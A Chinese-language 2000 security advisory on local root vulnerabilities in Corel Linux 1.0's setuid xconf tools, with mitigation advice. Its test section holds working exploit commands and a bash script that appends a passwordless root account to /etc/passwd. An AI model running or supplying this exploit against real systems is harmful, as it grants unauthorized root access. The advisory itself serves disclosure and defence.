Corel Linux 1.0 xconf工具存在多个安全漏洞
发布日期:2000-02-27
更新日期:2000-02-27
受影响系统:xconf
+ Corel Linux 1.0
描述:
Corel Linux中的xconf工具中缺乏对用户输入的有效检查,并且没有正确放弃特权。因此本
地用户可以利用这些漏洞获得root权限,或者导致拒绝服务攻击。
(1) 将XF86Config的一些数据添加到系统中的任意文件中去。
/sbin/buildxconf没有检查用户输入的数据,并且被设置了setuid root位。当用"-f"
参数执行它时,用户可以将输出存储到一个指定文件,比如/etc/shadow
(2) 用一些垃圾数据替换掉任何存在文件的第一行
当用"-x"参数执行buildxconf程序时,它将用X server的路径/文件名替代掉指定文件的第
一行。如果将/etc/passwd的第一行替换掉(通常是root行),可能导致拒绝服务攻击。
(3) 在文件系统中创建任何人可写的文件(属主为root)
设置自己的umask为0后,执行buildxconf时,用"-x"或者"-f"参数指定一个不存在的文件
将会在文件系统的任意位置创建该文件,属主为root,文件属性为0666.
(4) 以root身份执行任意命令
/sbin/setxconf允许用户用"-T"开关测试X的设置。它会启动以euid root身份启动xinit。
而xinit将会查看是否存在~/.xserverrc,如果存在将在启动时执行里面的命令。
<* 来源: cr@rotten.com, suid@suid.kg *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
(1) /sbin/buildxconf -f /existing/filename
(2) /sbin/buildxconf -x /existing/filename
(3) 缺省root并没有crontab文件,所以可以创建一个文件,然后添加命令,用来获得root权限
$ umask 0
$ /sbin/buildxconf -f /var/spool/cron/crontabs/root
(4)
--------------------------Cut--------------------------------
#!/bin/bash
#
# Exploit /sbin/setxconf on Corel Linux 1.0 to get root.
#
# suid@suid.kg - (C) 2000
#
# See http://www.suid.kg/
if [ ! -e ~/.xserverrc ]
then
echo 'echo "owned::0:0::/:/bin/bash" >> /etc/passwd' > .xserverrc
else
cp -f ~/.xserverrc ~/.xserverrc.orig
echo 'echo "owned::0:0::/:/bin/bash" >> /etc/passwd' > .xserverrc
fi
# These kills aren't real necessary but it makes everything a bit neater.
(sleep 1; killall -9 setxconf testxconf xinit) | /sbin/setxconf -T > /dev/null 2> /dev/null
echo "Don't forget to remove the 'owned' account from /etc/passwd"
su owned
# EOF
建议:
禁止xconf工具的使用或者去除其suid位:
chmod 0000 /sbin/setxconf /sbin/buildxconf /sbin/testxconf
浏览次数:6721
严重程度:0(网友投票)